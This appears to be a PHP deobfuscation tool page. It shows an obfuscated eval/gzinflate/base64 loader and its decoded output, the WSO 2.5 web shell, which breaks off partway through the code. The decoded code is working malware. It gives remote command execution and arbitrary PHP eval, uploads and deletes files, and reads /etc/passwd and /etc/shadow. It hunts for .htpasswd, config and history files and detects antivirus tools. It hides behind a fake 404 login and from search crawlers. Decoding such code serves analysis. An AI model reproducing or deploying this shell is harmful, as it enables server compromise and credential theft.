Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('HZzHjuRAdkV/RTvNgAu6pINGGtAz6b3bCEnvvf96sbToTRcqwWDEu/..

Decoded Output download

$auth_pass="6244da94938ddf690522f800d66587b7";$color="#df5";$default_action='FilesMan';$default_use_ajax=true;$default_charset='Windows-1251';if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/' .implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define('WSO_VERSION','2.5');if(get_magic_quotes_gpc()){function WSOstripslashes($array){return is_array($array)?array_map('WSOstripslashes',$array):stripslashes($array);}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){die("<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<hr> 
<address>Apache Server at  Port 80</address> 
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
    <style> 

    input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></center> ");}function WSOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}if(!empty($auth_pass)){if(isset($_POST['pass'])&&(md5($_POST['pass'])== $auth_pass))WSOsetcookie(md5($_SERVER['HTTP_HOST']),$auth_pass);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||($_COOKIE[md5($_SERVER['HTTP_HOST'])]!= $auth_pass))wsoLogin();}if(strtolower(substr(PHP_OS,0,3))== "win")$os='win';else $os='nix';$safe_mode=@ini_get('safe_mode');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get('disable_functions');$home_cwd=@getcwd();if(isset($_POST['c']))@chdir($_POST['c']);$cwd=@getcwd();if($os == 'win'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}if($cwd[strlen($cwd)-1]!= '/')$cwd .= '/';if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']=(bool)$default_use_ajax;if($os == 'win')$aliases=array("List Directory"=> "dir","Find index.php in current dir"=> "dir /s /w /b index.php","Find *config*.php in current dir"=> "dir /s /w /b *config*.php","Show active connections"=> "netstat -an","Show running services"=> "net start","User accounts"=> "net user","Show computers"=> "net view","ARP Table"=> "arp -a","IP Configuration"=> "ipconfig /all");else $aliases=array("List dir"=> "ls -lha","list file attributes on a Linux second extended file system"=> "lsattr -va","show opened ports"=> "netstat -an | grep -i listen","process status"=> "ps aux","Find"=> "","find all suid files"=> "find / -type f -perm -04000 -ls","find suid files in current dir"=> "find . -type f -perm -04000 -ls","find all sgid files"=> "find / -type f -perm -02000 -ls","find sgid files in current dir"=> "find . -type f -perm -02000 -ls","find config.inc.php files"=> "find / -type f -name config.inc.php","find config* files"=> "find / -type f -name \"config*\"","find config* files in current dir"=> "find . -type f -name \"config*\"","find all writable folders and files"=> "find / -perm -2 -ls","find all writable folders and files in current dir"=> "find . -perm -2 -ls","find all service.pwd files"=> "find / -type f -name service.pwd","find service.pwd files in current dir"=> "find . -type f -name service.pwd","find all .htpasswd files"=> "find / -type f -name .htpasswd","find .htpasswd files in current dir"=> "find . -type f -name .htpasswd","find all .bash_history files"=> "find / -type f -name .bash_history","find .bash_history files in current dir"=> "find . -type f -name .bash_history","find all .fetchmailrc files"=> "find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=> "find . -type f -name .fetchmailrc","Locate"=> "","locate httpd.conf files"=> "locate httpd.conf","locate vhosts.conf files"=> "locate vhosts.conf","locate proftpd.conf files"=> "locate proftpd.conf","locate psybnc.conf files"=> "locate psybnc.conf","locate my.conf files"=> "locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=> "locate cfg.php","locate conf.php files"=> "locate conf.php","locate config.dat files"=> "locate config.dat","locate config.php files"=> "locate config.php","locate config.inc files"=> "locate config.inc","locate config.inc.php"=> "locate config.inc.php","locate config.default.php files"=> "locate config.default.php","locate config* files "=> "locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=> "locate '.pwd'","locate .sql files"=> "locate '.sql'","locate .htpasswd files"=> "locate '.htpasswd'","locate .bash_history files"=> "locate '.bash_history'","locate .mysql_history files"=> "locate '.mysql_history'","locate .fetchmailrc files"=> "locate '.fetchmailrc'","locate backup files"=> "locate backup","locate dump files"=> "locate dump","locate priv files"=> "locate priv");function wsoHeader(){if(empty($_POST['charset']))$_POST['charset']=$GLOBALS['default_charset'];global $color;echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" .$_POST['charset'] ."'><title>" .$_SERVER['HTTP_HOST'] ." - WSO " .WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" .htmlspecialchars($GLOBALS['cwd']) ."';
    var a_ = '" .htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" .htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" .((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" .((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" .((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" .addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux',$kernel)!== false)$explink .= urlencode('Linux Kernel ' .substr($release,0,6));else $explink .= urlencode($kernel .' ' .substr($release,0,3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";for($j=0;$j<=$i;$j++)$cwd_links .= $path[$j] .'/';$cwd_links .= "\")'>" .$path[$i] ."/</a>";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as $item)$opt_charsets .= '<option value="' .$item .'" ' .($_POST['charset']==$item?'selected':'') .'>' .$item .'</option>';$m=array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');if(!empty($GLOBALS['auth_pass']))$m['Logout']='Logout';$m['Self remove']='SelfRemove';$menu='';foreach($m as $k => $v)$menu .= '<th width="' .(int)(100/count($m)) .'%">[ <a href="#" onclick="g(\'' .$v .'\',null,\'\',\'\',\'\')">' .$k .'</a> ]</th>';$drives="";if($GLOBALS['os']== 'win'){foreach(range('c','z')as $drive)if(is_dir($drive .':\'))$drives .= '<a href="#" onclick="g(\'FilesMan\',\'' .$drive .':/\')">[ ' .$drive .' ]</a> ';}echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' .($GLOBALS['os']== 'win'?'<br>Drives:':'') .'</span></td>' .'<td><nobr>' .substr(@php_uname(),0,120) .' <a href="' .$explink .'" target=_blank>[exploit-db.com]</a></nobr><br>' .$uid .' ( ' .$user .' ) <span>Group:</span> ' .$gid .' ( ' .$group .' )<br>' .@phpversion() .' <span>Safe mode:</span> ' .($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') .' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' .date('Y-m-d H:i:s') .'<br>' .wsoViewSize($totalSpace) .' <span>Free:</span> ' .wsoViewSize($freeSpace) .' (' .(int)($freeSpace/$totalSpace*100) .'%)<br>' .$cwd_links .' ' .wsoPermsColor($GLOBALS['cwd']) .' <a href=# onclick="g(\'FilesMan\',\'' .$GLOBALS['home_cwd'] .'\',\'\',\'\',\'\')">[ home ]</a><br>' .$drives .'</td>' .'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' .$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>' .@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>' .$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>' .'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' .$menu .'</tr></table><div style="margin:5">';}function wsoFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" .$GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in,$out);$out=@join("
",$out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f))$out .= fread($f,1024);pclose($f);}return $out;}function wsoViewSize($s){if(is_int($s))$s=sprintf("%u",$s);if($s >= 1073741824)return sprintf('%1.2f',$s/1073741824) .' GB';elseif($s >= 1048576)return sprintf('%1.2f',$s/1048576) .' MB';elseif($s >= 1024)return sprintf('%1.2f',$s/1024) .' KB';else return $s .' B';}function wsoPerms($p){if(($p&0xC000)== 0xC000)$i='s';elseif(($p&0xA000)== 0xA000)$i='l';elseif(($p&0x8000)== 0x8000)$i='-';elseif(($p&0x6000)== 0x6000)$i='b';elseif(($p&0x4000)== 0x4000)$i='d';elseif(($p&0x2000)== 0x2000)$i='c';elseif(($p&0x1000)== 0x1000)$i='p';else $i='u';$i .=(($p&0x0100)?'r':'-');$i .=(($p&0x0080)?'w':'-');$i .=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i .=(($p&0x0020)?'r':'-');$i .=(($p&0x0010)?'w':'-');$i .=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i .=(($p&0x0004)?'r':'-');$i .=(($p&0x0002)?'w':'-');$i .=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return $i;}function wsoPermsColor($f){if(!@is_readable($f))return '<font color=#FF0000>' .wsoPerms(@fileperms($f)) .'</font>';elseif(!@is_writable($f))return '<font color=white>' .wsoPerms(@fileperms($f)) .'</font>';else return '<font color=#25ff00>' .wsoPerms(@fileperms($f)) .'</font>';}function wsoScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false !==($filename=readdir($dh)))$files[]=$filename;return $files;}}function wsoWhich($p){$path=wsoEx('which ' .$p);if(!empty($path))return $path;return false;}function actionSecInfo(){wsoHeader();echo '<h1>Server security information</h1><div class=content>';function wsoSecParam($n,$v){$v=trim($v);if($v){echo '<span>' .$n .': </span>';if(strpos($v,"
")=== false)echo $v .'<br>';else echo '<pre class=ml1>' .$v .'</pre>';}}wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir',@ini_get('open_basedir'));wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql (" .mysql_get_client_info() .")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";wsoSecParam('Supported databases',implode(', ',$temp));echo '<br>';if($GLOBALS['os']== 'nix'){wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');wsoSecParam('OS version',@file_get_contents('/proc/version'));wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo '<br>';$temp=array();foreach($userful as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as $item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Downloaders',implode(', ',$temp));echo '<br/>';wsoSecParam('HDD space',wsoEx('df -h'));wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';if(isset($_POST['p2'],$_POST['p3'])&& is_numeric($_POST['p2'])&& is_numeric($_POST['p3'])){$temp="";for(;$_POST['p2']<= $_POST['p3'];$_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)$temp .= join(':',$uid) ."
";}echo '<br/>';wsoSecParam('Users',$temp);}}}else{wsoSecParam('OS Version',wsoEx('ver'));wsoSecParam('Account Settings',wsoEx('net accounts'));wsoSecParam('User Accounts',wsoEx('net user'));}echo '</div>';wsoFooter();}function actionPhp(){if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"

	\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();if(isset($_POST['p2'])&&($_POST['p2']== 'info')){echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','!td, th {(.*)}!msiU','!<img[^>]+>!msiU',),array('','.e, .v, .h, .h th {$1}',''),$tmp);echo str_replace('<h1','<h2',$tmp) .'</div><br>';}echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' .(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'') .'</textarea><input type=submit value=Eval style="margin-top:5px">';echo ' <input type=checkbox name=ajax value=1 ' .($_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX</form><pre id=PhpOutput style="' .(empty($_POST['p1'])?'display:none;':'') .'margin-top:5px;" class=ml1>';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo '</pre></div>';wsoFooter();}function actionFilesMan(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']){case 'uploadFile':if(!@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']))echo "Can't upload file!";break;case 'mkdir':if(!@mkdir($_POST['p2']))echo "Can't create new dir";break;case 'delete':function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path .'/';$dh=opendir($path);while(($item=readdir($dh))!== false){$item=$path .$item;if((basename($item)== "..")||(basename($item)== "."))continue;$type=filetype($item);if($type == "dir")deleteDir($item);else@unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f']as $f){if($f == '..')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else@unlink($f);}break;case 'paste':if($_COOKIE['act']== 'copy'){function copy_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}elseif($_COOKIE['act']== 'move'){function move_paste($c,$s,$d){if(is_dir($c .$s)){mkdir($d .$s);$h=@opendir($c .$s);while(($f=@readdir($h))!== false)if(($f != ".")and($f != ".."))copy_paste($c .$s .'/',$f,$d .$s .'/');}elseif(@is_file($c .$s))@copy($c .$s,$d .$s);}foreach($_COOKIE['f']as $f)@rename($_COOKIE['c'] .$f,$GLOBALS['cwd'] .$f);}elseif($_COOKIE['act']== 'zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f']as $f){if($f == '..')continue;if(@is_file($_COOKIE['c'] .$f))$zip->addFile($_COOKIE['c'] .$f,$f);elseif(@is_dir($_COOKIE['c'] .$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f .'/',FilesystemIterator::SKIP_DOTS));foreach($iterator as $key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']== 'unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f']as $f){if($zip->open($_COOKIE['c'] .$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']== 'tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);wsoEx('tar cfzv ' .escapeshellarg($_POST['p2']) .' ' .implode(' ',$_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);break;default:if(!empty($_POST['p1'])){WSOsetcookie('act',$_POST['p1']);WSOsetcookie('f',serialize(@$_POST['f']));WSOsetcookie('c',@$_POST['c']);}break;}}wsoHeader();echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent === false){echo 'Can\'t open this folder!';wsoFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" .($sort[1]?0:1) ."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" .($sort[1]?0:1) ."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" .($sort[1]?0:1) ."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" .($sort[1]?0:1) ."\")'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array('name'=> $dirContent[$i],'path'=> $GLOBALS['cwd'] .$dirContent[$i],'modify'=> date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'] .$dirContent[$i])),'perms'=> wsoPermsColor($GLOBALS['cwd'] .$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'] .$dirContent[$i]),'owner'=> $ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=> $gr['name']?$gr['name']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS['cwd'] .$dirContent[$i]))$files[]=array_merge($tmp,array('type'=> 'file'));elseif(@is_link($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'link','link'=> readlink($tmp['path'])));elseif(@is_dir($GLOBALS['cwd'] .$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=> 'dir'));}$GLOBALS['sort']=$sort;function wsoCmp($a,$b){if($GLOBALS['sort'][0]!= 'size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else return(($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($files,"wsoCmp");usort($dirs,"wsoCmp");$files=array_merge($dirs,$files);$l=0;foreach($files as $f){echo '<tr' .($l?' class=l1':'') .'><td><input type=checkbox name="f[]" value="' .urlencode($f['name']) .'" class=chkbx></td><td><a href=# onclick="' .(($f['type']=='file')?'g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'view\')">' .htmlspecialchars($f['name']):'g(\'FilesMan\',\'' .$f['path'] .'\');" ' .(empty($f['link'])?'':"title='{$f['link']}'") .'><b>[ ' .htmlspecialchars($f['name']) .' ]</b>') .'</a></td><td>' .(($f['type']=='file')?wsoViewSize($f['size']):$f['type']) .'</td><td>' .$f['modify'] .'</td><td>' .$f['owner'] .'/' .$f['group'] .'</td><td><a href=# onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\',\'chmod\')">' .$f['perms'] .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'touch\')">T</a>' .(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' .urlencode($f['name']) .'\', \'download\')">D</a>':'') .'</td></tr>';$l=$l?0:1;}echo "<tr><td colspan=7>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";if(class_exists('ZipArchive'))echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";echo "<option value='tar'>Compress (tar.gz)</option>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo "<option value='paste'>Paste / Compress</option>";echo "</select>&nbsp;";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']== 'zip')||($_COOKIE['act']== 'tar')))echo "file name: <input type=text name=p2 value='wso_" .date("Ymd_His") ."." .($_COOKIE['act']== 'zip'?'zip':'tar.gz') ."'>&nbsp;";echo "<input type='submit' value='>>'></td></tr></form></table></div>";wsoFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i] .$p[$i+1]));}return $r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%' .dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('Base64 encode'=> 'base64_encode','Base64 decode'=> 'base64_decode','Url encode'=> 'urlencode','Url decode'=> 'urldecode','Full urlencode'=> 'full_urlencode','md5 hash'=> 'md5','sha1 hash'=> 'sha1','crypt'=> 'crypt','CRC32'=> 'crc32','ASCII to 